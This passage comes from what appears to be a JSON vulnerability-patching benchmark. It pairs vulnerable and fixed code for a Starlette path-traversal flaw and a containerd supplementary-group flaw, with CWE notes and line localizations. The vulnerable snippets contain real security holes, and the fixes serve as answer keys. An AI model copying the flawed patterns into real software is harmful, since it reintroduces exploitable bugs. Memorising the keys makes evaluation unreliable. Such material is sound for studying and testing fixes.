                "snippet": "    def lookup_path(\n        self, path: str\n    ) -> typing.Tuple[str, typing.Optional[os.stat_result]]:\n        for directory in self.all_directories:\n            joined_path = os.path.join(directory, path)\n            if self.follow_symlink:\n                full_path = os.path.abspath(joined_path)\n            else:\n                full_path = os.path.realpath(joined_path)\n            directory = os.path.realpath(directory)\n            if os.path.commonprefix([full_path, directory]) != directory:\n                # Don't allow misbehaving clients to break out of the static files\n                # directory.\n                continue\n            try:\n                return full_path, os.stat(full_path)\n            except (FileNotFoundError, NotADirectoryError):\n                continue\n        return \"\", None",
                "vul_localization": [
                    {
                        "patch_lines": [
                            11
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_58_1",
                "commit": "1797de4",
                "file_path": "starlette/staticfiles.py",
                "start_line": 162,
                "end_line": 180,
                "snippet": "    def lookup_path(\n        self, path: str\n    ) -> typing.Tuple[str, typing.Optional[os.stat_result]]:\n        for directory in self.all_directories:\n            joined_path = os.path.join(directory, path)\n            if self.follow_symlink:\n                full_path = os.path.abspath(joined_path)\n            else:\n                full_path = os.path.realpath(joined_path)\n            directory = os.path.realpath(directory)\n            if os.path.commonpath([full_path, directory]) != directory:\n                # Don't allow misbehaving clients to break out of the static files\n                # directory.\n                continue\n            try:\n                return full_path, os.stat(full_path)\n            except (FileNotFoundError, NotADirectoryError):\n                continue\n        return \"\", None"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-29159"
    },
    {
        "cve_id": "CVE-2023-25173",
        "cve_description": "containerd's OCI spec generation can produce process credentials where the current primary GID is not included in the group list passed to the runtime when user or group settings are resolved from image, OCI, CRI, or client-library configuration. Because container startup may apply the generated supplementary group list with setgroups-like behavior, omitting the primary GID can cause the container process to run with an unintended set of group credentials: the primary group may be dropped while other supplementary groups remain. An attacker who can influence the container user/group configuration or has direct access to the resulting container may abuse this incorrect group setup to bypass expected group-based access restrictions, potentially gaining access to sensitive files or execution capabilities inside the container.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/containerd/containerd",
        "patch_url": [
            "https://github.com/containerd/containerd/commit/133f6bb6cd827ce35a5fb279c1ead12b9d21460a"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_52_2",
                "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4",
                "file_path": "oci/spec_opts.go",
                "start_line": 523,
                "end_line": 613,
                "snippet": "func WithUser(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) error {\n\t\tsetProcess(s)\n\n\t\t// For LCOW it's a bit harder to confirm that the user actually exists on the host as a rootfs isn't\n\t\t// mounted on the host and shared into the guest, but rather the rootfs is constructed entirely in the\n\t\t// guest itself. To accommodate this, a spot to place the user string provided by a client as-is is needed.\n\t\t// The `Username` field on the runtime spec is marked by Platform as only for Windows, and in this case it\n\t\t// *is* being set on a Windows host at least, but will be used as a temporary holding spot until the guest\n\t\t// can use the string to perform these same operations to grab the uid:gid inside.\n\t\tif s.Windows != nil && s.Linux != nil {\n\t\t\ts.Process.User.Username = userstr\n\t\t\treturn nil\n\t\t}\n\n\t\tparts := strings.Split(userstr, \":\")\n\t\tswitch len(parts) {\n\t\tcase 1:\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\t// if we cannot parse as a uint they try to see if it is a username\n\t\t\t\treturn WithUsername(userstr)(ctx, client, c, s)\n\t\t\t}\n\t\t\treturn WithUserID(uint32(v))(ctx, client, c, s)\n\t\tcase 2:\n\t\t\tvar (\n\t\t\t\tusername  string\n\t\t\t\tgroupname string\n\t\t\t)\n\t\t\tvar uid, gid uint32\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\tusername = parts[0]\n\t\t\t} else {\n\t\t\t\tuid = uint32(v)\n\t\t\t}\n\t\t\tif v, err = strconv.Atoi(parts[1]); err != nil {\n\t\t\t\tgroupname = parts[1]\n\t\t\t} else {\n\t\t\t\tgid = uint32(v)\n\t\t\t}\n\t\t\tif username == \"\" && groupname == \"\" {\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tf := func(root string) error {\n\t\t\t\tif username != \"\" {\n\t\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\t\treturn u.Name == username\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tuid = uint32(user.Uid)\n\t\t\t\t}\n\t\t\t\tif groupname != \"\" {\n\t\t\t\t\tgid, err = GIDFromPath(root, func(g user.Group) bool {\n\t\t\t\t\t\treturn g.Name == groupname\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn f(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, f)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"invalid USER value %s\", userstr)\n\t\t}\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_go_52_3",
                "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4",
                "file_path": "oci/spec_opts.go",
                "start_line": 616,
                "end_line": 623,
                "snippet": "func WithUIDGID(uid, gid uint32) SpecOpts {\n\treturn func(_ context.Context, _ Client, _ *containers.Container, s *Spec) error {\n\t\tsetProcess(s)\n\t\ts.Process.User.UID = uid\n\t\ts.Process.User.GID = gid\n\t\treturn nil\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_go_52_4",
                "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4",
                "file_path": "oci/spec_opts.go",
                "start_line": 629,
                "end_line": 678,
                "snippet": "func WithUserID(uid uint32) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tsetProcess(s)\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\t\t})\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            20
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            4,
                            5,
                            6,
                            7,
                            8
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            35,
                            36,
                            37,
                            38,
                            39,
                            40,
                            41,
                            42,
                            43,
                            44,
                            45,
                            46,
                            47,
                            48
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_52_5",
                "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4",
                "file_path": "oci/spec_opts.go",
                "start_line": 686,
                "end_line": 733,
                "snippet": "func WithUsername(username string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tsetProcess(s)\n\t\tif s.Linux != nil {\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\tuser, err := UserFromPath(s.Root.Path, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, func(root string) error {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t})\n\t\t} else if s.Windows != nil {\n\t\t\ts.Process.User.Username = username\n\t\t} else {\n\t\t\treturn errors.New(\"spec does not contain Linux or Windows section\")\n\t\t}\n\t\treturn nil\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            17
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            5,
                            6,
                            7,
                            8,
                            9
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            31,
                            32,
                            33,
                            34,
                            35,
                            36,
                            37,
                            38,
                            39,
                            40
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_52_6",
                "commit": "0c314901076a74a7b797a545d2f462285fdbb8c4",
                "file_path": "oci/spec_opts.go",
                "start_line": 738,
                "end_line": 804,
                "snippet": "func WithAdditionalGIDs(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tvar username string\n\t\t\tuid, err := strconv.Atoi(userstr)\n\t\t\tif err == nil {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Uid == uid\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tusername = user.Name\n\t\t\t} else {\n\t\t\t\tusername = userstr\n\t\t\t}\n\t\t\tgids, err := getSupplementalGroupsFromPath(root, func(g user.Group) bool {\n\t\t\t\t// we only want supplemental groups\n\t\t\t\tif g.Name == username {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tfor _, entry := range g.List {\n\t\t\t\t\tif entry == username {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = gids\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            8
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            9
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_52_1",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 116,
                "end_line": 126,
                "snippet": "// ensureAdditionalGids ensures that the primary GID is also included in the additional GID list.\nfunc ensureAdditionalGids(s *Spec) {\n\tsetProcess(s)\n\tfor _, f := range s.Process.User.AdditionalGids {\n\t\tif f == s.Process.User.GID {\n\t\t\treturn\n\t\t}\n\t}\n\ts.Process.User.AdditionalGids = append([]uint32{s.Process.User.GID}, s.Process.User.AdditionalGids...)\n}\n"
            },
            {
                "id": "fix_go_52_2",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 534,
                "end_line": 626,
                "snippet": "func WithUser(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) error {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\n\t\t// For LCOW it's a bit harder to confirm that the user actually exists on the host as a rootfs isn't\n\t\t// mounted on the host and shared into the guest, but rather the rootfs is constructed entirely in the\n\t\t// guest itself. To accommodate this, a spot to place the user string provided by a client as-is is needed.\n\t\t// The `Username` field on the runtime spec is marked by Platform as only for Windows, and in this case it\n\t\t// *is* being set on a Windows host at least, but will be used as a temporary holding spot until the guest\n\t\t// can use the string to perform these same operations to grab the uid:gid inside.\n\t\tif s.Windows != nil && s.Linux != nil {\n\t\t\ts.Process.User.Username = userstr\n\t\t\treturn nil\n\t\t}\n\n\t\tparts := strings.Split(userstr, \":\")\n\t\tswitch len(parts) {\n\t\tcase 1:\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\t// if we cannot parse as a uint they try to see if it is a username\n\t\t\t\treturn WithUsername(userstr)(ctx, client, c, s)\n\t\t\t}\n\t\t\treturn WithUserID(uint32(v))(ctx, client, c, s)\n\t\tcase 2:\n\t\t\tvar (\n\t\t\t\tusername  string\n\t\t\t\tgroupname string\n\t\t\t)\n\t\t\tvar uid, gid uint32\n\t\t\tv, err := strconv.Atoi(parts[0])\n\t\t\tif err != nil {\n\t\t\t\tusername = parts[0]\n\t\t\t} else {\n\t\t\t\tuid = uint32(v)\n\t\t\t}\n\t\t\tif v, err = strconv.Atoi(parts[1]); err != nil {\n\t\t\t\tgroupname = parts[1]\n\t\t\t} else {\n\t\t\t\tgid = uint32(v)\n\t\t\t}\n\t\t\tif username == \"\" && groupname == \"\" {\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tf := func(root string) error {\n\t\t\t\tif username != \"\" {\n\t\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\t\treturn u.Name == username\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\tuid = uint32(user.Uid)\n\t\t\t\t}\n\t\t\t\tif groupname != \"\" {\n\t\t\t\t\tgid, err = GIDFromPath(root, func(g user.Group) bool {\n\t\t\t\t\t\treturn g.Name == groupname\n\t\t\t\t\t})\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, gid\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn f(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, f)\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"invalid USER value %s\", userstr)\n\t\t}\n\t}\n}"
            },
            {
                "id": "fix_go_52_3",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 629,
                "end_line": 638,
                "snippet": "func WithUIDGID(uid, gid uint32) SpecOpts {\n\treturn func(_ context.Context, _ Client, _ *containers.Container, s *Spec) error {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\ts.Process.User.UID = uid\n\t\ts.Process.User.GID = gid\n\t\treturn nil\n\t}\n}"
            },
            {
                "id": "fix_go_52_4",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 644,
                "end_line": 684,
                "snippet": "func WithUserID(uid uint32) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tsetUser := func(root string) error {\n\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\treturn u.Uid == int(uid)\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\ts.Process.User.UID, s.Process.User.GID = uid, 0\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setUser(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n\t}\n}"
            },
            {
                "id": "fix_go_52_5",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 692,
                "end_line": 735,
                "snippet": "func WithUsername(username string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\tdefer ensureAdditionalGids(s)\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tif s.Linux != nil {\n\t\t\tsetUser := func(root string) error {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Name == username\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\ts.Process.User.UID, s.Process.User.GID = uint32(user.Uid), uint32(user.Gid)\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t\t}\n\t\t\t\treturn setUser(s.Root.Path)\n\t\t\t}\n\t\t\tif c.Snapshotter == \"\" {\n\t\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t\t}\n\t\t\tif c.SnapshotKey == \"\" {\n\t\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t\t}\n\t\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tmounts = tryReadonlyMounts(mounts)\n\t\t\treturn mount.WithTempMount(ctx, mounts, setUser)\n\t\t} else if s.Windows != nil {\n\t\t\ts.Process.User.Username = username\n\t\t} else {\n\t\t\treturn errors.New(\"spec does not contain Linux or Windows section\")\n\t\t}\n\t\treturn nil\n\t}\n}"
            },
            {
                "id": "fix_go_52_6",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 740,
                "end_line": 808,
                "snippet": "func WithAdditionalGIDs(userstr string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\ts.Process.User.AdditionalGids = nil\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tdefer ensureAdditionalGids(s)\n\t\t\tvar username string\n\t\t\tuid, err := strconv.Atoi(userstr)\n\t\t\tif err == nil {\n\t\t\t\tuser, err := UserFromPath(root, func(u user.User) bool {\n\t\t\t\t\treturn u.Uid == uid\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif os.IsNotExist(err) || err == ErrNoUsersFound {\n\t\t\t\t\t\treturn nil\n\t\t\t\t\t}\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tusername = user.Name\n\t\t\t} else {\n\t\t\t\tusername = userstr\n\t\t\t}\n\t\t\tgids, err := getSupplementalGroupsFromPath(root, func(g user.Group) bool {\n\t\t\t\t// we only want supplemental groups\n\t\t\t\tif g.Name == username {\n\t\t\t\t\treturn false\n\t\t\t\t}\n\t\t\t\tfor _, entry := range g.List {\n\t\t\t\t\tif entry == username {\n\t\t\t\t\t\treturn true\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn false\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tif os.IsNotExist(err) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = gids\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !isRootfsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}"
            },
            {
                "id": "fix_go_52_7",
                "commit": "133f6bb6cd827ce35a5fb279c1ead12b9d21460a",
                "file_path": "oci/spec_opts.go",
                "start_line": 812,
                "end_line": 870,
                "snippet": "func WithAppendAdditionalGroups(groups ...string) SpecOpts {\n\treturn func(ctx context.Context, client Client, c *containers.Container, s *Spec) (err error) {\n\t\t// For LCOW or on Darwin additional GID's are not supported\n\t\tif s.Windows != nil || runtime.GOOS == \"darwin\" {\n\t\t\treturn nil\n\t\t}\n\t\tsetProcess(s)\n\t\tsetAdditionalGids := func(root string) error {\n\t\t\tdefer ensureAdditionalGids(s)\n\t\t\tgpath, err := fs.RootPath(root, \"/etc/group\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tugroups, err := user.ParseGroupFile(gpath)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tgroupMap := make(map[string]user.Group)\n\t\t\tfor _, group := range ugroups {\n\t\t\t\tgroupMap[group.Name] = group\n\t\t\t}\n\t\t\tvar gids []uint32\n\t\t\tfor _, group := range groups {\n\t\t\t\tgid, err := strconv.ParseUint(group, 10, 32)\n\t\t\t\tif err == nil {\n\t\t\t\t\tgids = append(gids, uint32(gid))\n\t\t\t\t} else {\n\t\t\t\t\tg, ok := groupMap[group]\n\t\t\t\t\tif !ok {\n\t\t\t\t\t\treturn fmt.Errorf(\"unable to find group %s\", group)\n\t\t\t\t\t}\n\t\t\t\t\tgids = append(gids, uint32(g.Gid))\n\t\t\t\t}\n\t\t\t}\n\t\t\ts.Process.User.AdditionalGids = append(s.Process.User.AdditionalGids, gids...)\n\t\t\treturn nil\n\t\t}\n\t\tif c.Snapshotter == \"\" && c.SnapshotKey == \"\" {\n\t\t\tif !filepath.IsAbs(s.Root.Path) {\n\t\t\t\treturn errors.New(\"rootfs absolute path is required\")\n\t\t\t}\n\t\t\treturn setAdditionalGids(s.Root.Path)\n\t\t}\n\t\tif c.Snapshotter == \"\" {\n\t\t\treturn errors.New(\"no snapshotter set for container\")\n\t\t}\n\t\tif c.SnapshotKey == \"\" {\n\t\t\treturn errors.New(\"rootfs snapshot not created for container\")\n\t\t}\n\t\tsnapshotter := client.SnapshotService(c.Snapshotter)\n\t\tmounts, err := snapshotter.Mounts(ctx, c.SnapshotKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tmounts = tryReadonlyMounts(mounts)\n\t\treturn mount.WithTempMount(ctx, mounts, setAdditionalGids)\n\t}\n}"
            }
        ],
